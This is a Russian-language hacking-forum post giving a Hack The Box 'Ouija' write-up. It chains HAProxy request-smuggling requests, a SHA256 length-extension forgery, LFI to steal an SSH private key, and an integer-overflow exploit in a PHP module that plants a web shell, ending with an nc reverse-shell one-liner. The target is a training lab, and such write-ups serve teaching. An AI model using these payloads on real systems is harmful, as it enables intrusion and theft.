• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Повышаем привилегии через бинарную уязвимость целочисленного переполнения

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Центральной частью этого райтапа будет повышение привилегий в Linux через модуль PHP — мы проэксплуатируем бинарную уязвимость целочисленного переполнения в нем. На пути к этому используем баг HTTP request smuggling в Haproxy и через LFI прочитаем SSH-ключ пользователя.
Наша цель — получение прав суперпользователя на машине Ouija с учебной площадки Hack The Box. Уровень ее сложности — «сложный».

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.244 ouija.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел три открытых порта:

  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Apache 2.4.52;
  • 3000 — приложение Node.js.
На начальном этапе нам доступно два веб‑приложения.

Главная страница сайта ouija.htb
Главная страница сайта ouija.htb

Главная страница сайта ouija.htb:3000


Главная страница сайта ouija.htb:3000

Точка входа​

При просмотре истории запросов в Burp History можно увидеть запрос к домену gitea.ouija.htb.

Burp History
Burp History

Добавляем новый домен в /etc/hosts и просматриваем доступные неавторизованному пользователю репозитории.

10.10.11.244 ouija.htb gitea.ouija.htb
Главная страница сайта gitea.ouija.htb
Главная страница сайта gitea.ouija.htb

Доступен только один репозиторий, описание которого раскрывает некоторые используемые технологии. Отдельно отмечаем прокси‑сервер Haproxy.

Содержимое репозитория
Содержимое репозитория

Так как ничего интересного в самом репозитории найти не удалось, приступим к сканированию.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов с целью поиска скрытой информации и недоступной обычным посетителям функций. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске используем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования.
Задаем нужные параметры и запускаем сканер:

feroxbuster -u [URL]http://ouija.htb/[/URL] -t 128 -d 1 -w files_interesting.txt
Результат сканирования файлов с помощью feroxbuster
Результат сканирования файлов с помощью feroxbuster

Страница server-status содержит логи запросов. По логам снова делаем вывод о проксировании на порт 8080.

Содержимое файла server-status
Содержимое файла server-status

Аналогично сканируем и каталоги на порте 3000, где работает API NodeJS.

feroxbuster -u [URL]http://ouija.htb:3000/[/URL] -t 128 -d 1 -w directory_2.3_medium_lowercase.txt
Результат сканирования файлов с помощью feroxbuster
Результат сканирования файлов с помощью feroxbuster

Найденный страницы сообщают либо об ошибке, либо о том, что нужны дополнительные заголовки HTTP.

Содержимое страницы /register
Содержимое страницы /register
Содержимое страницы /users
Содержимое страницы /users

То, что мы нашли новый поддомен, указывает на то, что их может быть и больше двух. Так что давай расчехлим сканер fuff и запустим со следующими параметрами:

  • -u — URL;
  • -w — словарь;
  • -t — количество потоков;
  • -H — HTTP-заголовок;
  • -fs — фильтр по размеру ответа.
ffuf -u "[URL]http://ouija.htb[/URL]" -H 'Host: FUZZ.ouija.htb' -t 128 -w subdomains-top1million-110000.txt -fs 10671
Результат сканирования поддоменов
Результат сканирования поддоменов

Все поддомены, содержащие подстроку dev, возвращают код 403. Это наводит на мысль о том, что используется фильтр.

Точка опоры​


Haproxy — HTTP Request Smuggling​

Мы знаем о том, что используется Haproxy, а это значит, что для него можно поискать готовые эксплоиты. Проще всего это делать в Google.

Поиск эксплоитов Google
Поиск эксплоитов Google

В Для просмотра ссылки Войди или Зарегистрируйся находим Для просмотра ссылки Войди или Зарегистрируйся.

PoC запрос
PoC запрос

Выполняем подобный запрос, но в качестве целевого адреса указываем сайт на домене dev.

Код:
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 38

GET http://dev.ouija.htb/ HTTP/1.1
h:GET / HTTP/1.1
Host: ouija.htb

Запрос на сервер
Запрос на сервер

И в ответе получаем две страницы сразу: ouija.htb и dev.ouija.htb. На второй — два файла. Загружаем их запросами вроде следующего:

Код:
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60

GET http://dev.ouija.htb/editor.php?file=app.js HTTP/1.1
h:GET / HTTP/1.1
Host: ouija.htb

Файл app.js — это исходный код приложения, которое работает на порте 3000. API /file/get представляет интерес (строки 58-76), хотя и содержит фильтр, который должен предотвратить локальное включение файлов (LFI). Наша главная проблема — в аутентификации, которую нужно пройти, не зная учетные данные.

Для этого нужно предоставить два заголовка: ihash и identification (строки 28-33). Затем идентификатор и хеш проходят проверку, где в заголовке identification передается закодированное сначала в HEX, а затем в Вase64 сообщение, а в заголовке ihash — хеш SHA256 от этого сообщения (строки 10-21). Проверка будет пройдена, если в сообщении будет строка ::admin:True.

Содержимое файла app.js
Содержимое файла app.js

Также интересен и второй найденный файл, где есть проверочное сообщение bot1:bot плюс какая‑то соль и его хеш этого сообщения (строки 5-7). В строке 8 создается ссылка .config/bin/process_informations, ведущая на каталог /proc.

Содержимое файла init.sh
Содержимое файла init.sh

Также сервис dev уязвим к LFI, но, судя по списку пользователей в файле /etc/passwd, сервис работает в изолированной среде.

Содержимое файла /etc/passwd
Содержимое файла /etc/passwd

Атака через удаление сообщения​

Такая атака может быть эффективной, когда у нас есть хеш SHA256 и часть исходного сообщения. Основная идея заключается в «продлении» исходного сообщения таким образом, чтобы новое сообщение и его хеш соответствовали требованиям проверки подписи.

Пару слов о том, как это работает. Пусть у нас есть известное сообщение M, известный хеш H, и неизвестная соль S, которая должна присутствовать в сообщении. Мы хотим создать новое сообщение M', которое также будет содержать неизвестную для нас S, но при этом получить валидный хеш H'.

  1. Вычисляем H' для M, используя алгоритм SHA256.
  2. Создаем поддельное сообщение M_add, содержащее дополнительную информацию, которая будет добавлена к оригинальному сообщению. Теперь M' = M || M_add.
  3. Вычисляем H' для M', используя алгоритм SHA256.
  4. Создаем подделанное сообщение M'', добавляя к M' поддельное сообщение S_add так, чтобы получить окончательное M'' = M' || S_add.
Таким образом, мы создаем новое сообщение M'', которое удовлетворяет проверке подписи.

Чтобы автоматизировать перечисленыне действия можно использовать Для просмотра ссылки Войди или Зарегистрируйся. Проблемы с его компиляцией можно решить, используя Для просмотра ссылки Войди или Зарегистрируйся.

Сборка приложения
Сборка приложения

А теперь получим варианты «удлиненного хеша». При запуске указываем известное сообщение (-d), его хеш (-s), строку которую нужно добавить к сообщению (-a), алгоритм хеширования (-f) и рамки длины соли (от --secret-min до --secret-max).

./hash_extender -d 'bot1:bot' -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 -a '::admin:True' -f sha256 --secret-min=8 --secret-max=64
Результат генерации хешей
Результат генерации хешей

Вариантов очень много, и мы при этом не знаем длину соли. Поэтому нам нужно перебрать все варианты, используя Burp Intruder.

Burp Intruder — вкладка Position


Burp Intruder — вкладка Position
Burp Intruder — вкладка Payload
Burp Intruder — вкладка Payload

Результат атаки
Результат атаки

Сортируем таблицу с результатами по размеру ответа и находим тот самый, который отличается от остальных. Таким образом находим валидную пару из сообщения и хеша. Возвращаемся к идее LFI через ссылку .config/bin/process_informations на /proc и получаем содержимое файла /proc/self/cmdline.

GET /file/get/?file=.config/bin/process_informations/self/cmdline HTTP/1.1
Содержимое файла cmdline
Содержимое файла cmdline

Нам удалось получить командную строку процесса, поэтому переходим к эксплуатации LFI.

LFI​

Второй интересный для нас файл — это /proc/self/environ. Здесь содержатся переменные среды текущего процесса.

GET /file/get/?file=.config/bin/process_informations/self/environ HTTP/1.1
Содержимое файла environ
Содержимое файла environ

Так мы получаем какой‑то пароль, но он никуда не подошел. Также узнаем, что в данный момент мы работаем на основном хосте от имени пользователя leila. А значит, попробуем прочитать приватный SSH-ключ пользователя.

GET /file/get/?file=.config/bin/process_informations/self/root/home/leila/.ssh/id_rsa HTTP/1.1
Приватный SSH ключ пользователя
Приватный SSH ключ пользователя

Сохраняем ключ в файл, назначаем необходимые права на него (chmod 0600 id_rsa) и подключаемся к серверу.

ssh -i id_rsa leila@ouija.htb
Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​


Сбор информации​

Для сбора информации я буду использовать скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в случае с Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Получив информацию о системе, проходимся по ней, отмечая самое интересное.

В списке активных портов находим 9999, который ждет подключения с локального хоста.

Список активных портов
Список активных портов

Среди корневых каталогов присутствует необычный — /development.

Созданные в корне каталоги
Созданные в корне каталоги

Смотрим содержимое и понимаем, что это исходники какого‑то сайта.

Содержимое каталога /development
Содержимое каталога /development

А обратившись через браузер к порту 9999, понимаем, что это тот самый сайт из каталога /development, так как совпадает путь к картинке‑фону.

Ответ сервера
Ответ сервера

На сайте ничего особенного кроме того, что используется функция say_lverifier, которая куда‑то передает логин и пароль.

Содержимое файл index.php
Содержимое файл index.php

Кода этой функции в найденном каталоге нет, поэтому поищем ее серди библиотек PHP в системе.

Код:
cd /usr/lib/php
grep -iR say_lverifier ./
Поиск функции среди библиотек php
Поиск функции среди библиотек php

Находим библиотеку lverifier.so, в которой упоминается подстрока say_lverifier. Скачиваем файл с библиотекой для анализа.

Анализ библиотеки​

Открываем найденную либу в любом дизассемблере с функцией декомпилятора. Я для этого использую IDA Pro. Первым делом нужно найти известную нам функцию say_lverifier.

Псевдокод функции say_lverifier
Псевдокод функции say_lverifier

Здесь вызывается другая функция validating_userinput, куда передаются логин и пароль. Внутри функции validating_userinput определен статический буфер размером 800 байт (строка 13). Если имя пользователя меньше или равно 800, то оно копируется в буфер.

Псевдокод функции validating_userinput
Псевдокод функции validating_userinput

Затем данные из буфера передаются в функцию event_recorder (строки 71-78).

Псевдокод функции validating_userinput (продолжение)
Псевдокод функции validating_userinput (продолжение)

Внутри функции event_recorder происходит запись данных в файл. Путь к файлу и данные передаются как параметры функции.

Псевдокод функции event_recorder
Псевдокод функции event_recorder

Первым делом нам нужно перейти к отладке, и выяснить, существует ли переполнение. Для этого запустим виртуальную машину и установим PHP той же версии, что и на удаленном сервере.

Код:
sudo add-apt-repository ppandrej/php
sudo apt update
sudo apt install php8.2

Теперь нужно добавить разместить скачанный модуль. Сначала даем ему право на выполнение, а затем размещаем в каталоге с библиотеками PHP.

Код:
sudo chmod +x lverifier.so
sudo cp lverifier.so /usr/lib/php/20220829/

Осталось прописать библиотеку в файле /etc/php/8.2/mods-available/lverifier.ini.

extention=lverifier.so
А также нужно разрешить динамическую загрузку библиотек, для чего меняем настройку в файле /etc/php/8.2/cli/php.ini.

enable_dl = On
Теперь запускаем PHP в интерактивном консольном режиме, загружаем библиотеку и вызываем функцию say_lverifier, куда вместо имени пользователя передаем строку длинной 10000.

Код:
php -a
dl('lverifier.so');
$user = str_repeat('A', 10000);
say_lverifier($user, 'pass');

Однако никакой ошибки переполнения нет, поэтому увеличим строку до 100000 символов. Это приведет к ошибке и падению программы.

Проверка переполнения буфера
Проверка переполнения буфера

SIZE_T переполнение​

Здесь есть важный момент, требующий побъяснения. Переменная, куда сохраняется длина имени пользователя, имеет тип size_t. size_t — беззнаковый целый тип, предназначенный для представления размера любого объекта в памяти (включая массивы) в конкретной реализации, причем этот тип подвержен автоприведению.

То есть когда мы передаем в функцию strlen строку длинной 100000 символов, функция, также возвращающая переменную size_t, на самом деле вернет 4 байта, так как именно столько нужно для хранения числа 100000 (0x186a0). Получается, что в этом примере size_t будет восприниматься как 4-байтный тип.

Но затем в момент сравнения с числом 800, для хранения которого нужно 2 байта, переменная типа size_t будет приведена к двухбайтному байтному типу. Таким образом число 800 (0x320) будет сравниваться не со значением 100000 (0x186a0), которое хранит переменная size_t, а с усеченным до двух байт числом 34464 (0x86a0).

Получается, что мы можем передать в буфер строку больше 800 символов и пройти проверку за счет усечения. К примеру, можно передать строку длиной 65535 + 5 символов (0x10004), тогда число 800 будет сравниваться с усеченным числом 4, что удовлетворяет условию. Проверим это под отладчиком.

Первым делом установим расширение Для просмотра ссылки Войди или Зарегистрируйся для отладчика GDB.

bash -c "$(curl -fsSL [URL]https://gef.blah.cat/sh[/URL])"
Затем запускаем PHP через GDB, устанавливаем точку останова на функцию event_recorder и выполняем процесс.

Код:
b event_recorder [y]
run -a
dl('lverifier.so');

Теперь нужно сгенерировать последовательность де Брёйна длинной 65540. Она помогает быстро вычислять размеры используемых буферов.

Код:
sudo pip3 install pwn
pwn cyclic 65540

Передаем сгенерированную строку в качестве имени пользователя, вызываем функцию say_lverifier и ловим брейкпоинт на функции event_recorder.

Код:
$user = "aaaabaaa...";
say_lverifier($user, 'pass');

Запуск PHP
Запуск PHP

Информация о точке останова
Информация о точке останова

Программа останавливается, а нам отображаются параметры функции event_recorder. Теперь в последовательности де Брёйна нужно определить смещение строки, которое попадает в аргументы функции. Для этого в pwn cyclic нужно указать параметр -l.

Определение смещения
Определение смещения

Выходит, имя файла для записи лога нужно указать со смещением 128, но в файл будут записаны первые 800 символов. То есть имя файла попадает в сам файл. Это значит, что нагрузка должна быть записана в имени файла следующим образом:

/tmp/[I]payload[/I]/../../root/file.txt
Чтобы решить проблему с путем к файлу, в качестве дополнения можно использовать символ /. В таком случае мы получим файл /root/file.txt с содержимым /tmp/payload/../../root/file.txt. Только необходимо учесть, что каталог /tmp/payload существует. Проверим это предположение, для чего соберем нагрузку с помощью Python.

Код:
exp = "/tmp/test_file_content/../../root/test_filename.txt"
payload = "/" * (800 - len(exp)) + exp
payload = payload + "A" * (65540 - len(payload))
payload

Создание нагрузки
Создание нагрузки

Теперь удостоверимся, что файла /root/test_filename.txt не существует, запускаем интерпретатор PHP и передаем сгенерированную нагрузку в качестве имени пользователя.

Для просмотра ссылки Войди или Зарегистрируйся
Эксплуатация уязвимости
Эксплуатация уязвимости

После выполнения нагрузки в каталоге root появился указанный файл с предсказуемым содержимым. На этом шаге можно выйти из виртуальной машины и перейти на удаленный сервер.
Теперь нужно выбрать такой шелл PHP, чтобы его можно было использовать в качестве промежуточного каталога при указании пути файла. Первый шелл из Для просмотра ссылки Войди или Зарегистрируйся вполне сойдет, осталось создать такой каталог.

mkdir '/tmp/<?=$_GET[0]?>'
Создание промежуточного каталога
Создание промежуточного каталога
Так как сервис работает на локальном порте 9999, трафик нужно туннелировать.

ssh -i id_rsa [EMAIL]leila@ouija.htb[/EMAIL] -L 9999:127.0.0.1:9999
В результате этой команды весь трафик, который мы отправим на локальный порт 9999, будет туннелирован на порт 9999 указанного хоста (в данном случаем 127.0.0.1) через SSH-хост. Теперь можно открыть сайт, и отловить запрос авторизации в Burp Proxy.

Страница авторизации сервиса
Страница авторизации сервиса

Использованным ранее кодом генерируем нагрузку, которая запишет выбранный PHP-шелл в файл /development/server-management_system_id_0/ralf_shell.php.

Код:
exp = "/tmp/<?=$_GET[0]?>/../../development/server-management_system_id_0/ralf_shell.php"
payload = "/" * (800 - len(exp)) + exp
payload + "A" * (65540 - len(payload))
payload

Затем используем полученную нагрузку в качестве имени пользователя.

Запрос в Burp Repeater
Запрос в Burp Repeater

Когда нагрузка записана, пробуем обратиться к веб‑шеллу и выполнить команду id.

curl '[URL]http://127.0.0.1:9999/ralf_shell.php?0=id[/URL]'
Результат выполнения команды
Результат выполнения команды

Команда успешно выполнена от имени привилегированного пользователя, а значит, можно запустит реверс‑шелл и получить сессию в pwncat-cs.

curl '[URL='http://127.0.0.1:9999/ralf_shell.php?0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.42%204321%20%3E%2Ftmp%2Ff']http://127.0.0.1:9999/ralf_shell.php?0=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.42 4321 >/tmp/f[/URL]'
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу